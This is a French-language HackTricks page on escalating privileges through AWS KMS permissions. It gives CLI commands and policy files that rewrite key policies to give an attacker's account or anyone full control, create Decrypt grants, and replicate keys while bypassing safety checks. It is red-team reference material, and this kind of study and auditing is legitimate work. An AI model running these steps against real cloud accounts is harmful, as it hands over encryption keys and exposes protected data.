AWS - KMS Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

KMS

Pour plus d'informations sur KMS, consultez :

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Avec ces autorisations, il est possible de modifier les autorisations d'accĂšs Ă  la clĂ© afin qu'elle puisse ĂȘtre utilisĂ©e par d'autres comptes ou mĂȘme par n'importe qui :

bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Il permet à un principal d'utiliser une clé KMS :

bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

warning

Un grant ne peut autoriser que certains types d'opérations : https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

warning

Notez qu'il peut falloir quelques minutes pour que KMS permette à l'utilisateur d'utiliser la clé aprÚs que le grant a été généré. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.
Cependant, s'il est nécessaire d'utiliser le grant immédiatement utilisez un token de grant (voir le code suivant).
Pour plus d'infos, lisez ceci.

bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Notez qu'il est possible de lister les autorisations des clés avec :

bash
aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente.

Ainsi, un attaquant pourrait en abuser pour obtenir un privesc de son accÚs à la clé et l'utiliser.

bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Cette permission permet d'utiliser une clé pour déchiffrer des informations.
Pour plus d'informations, consultez :

AWS - KMS Post Exploitation

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks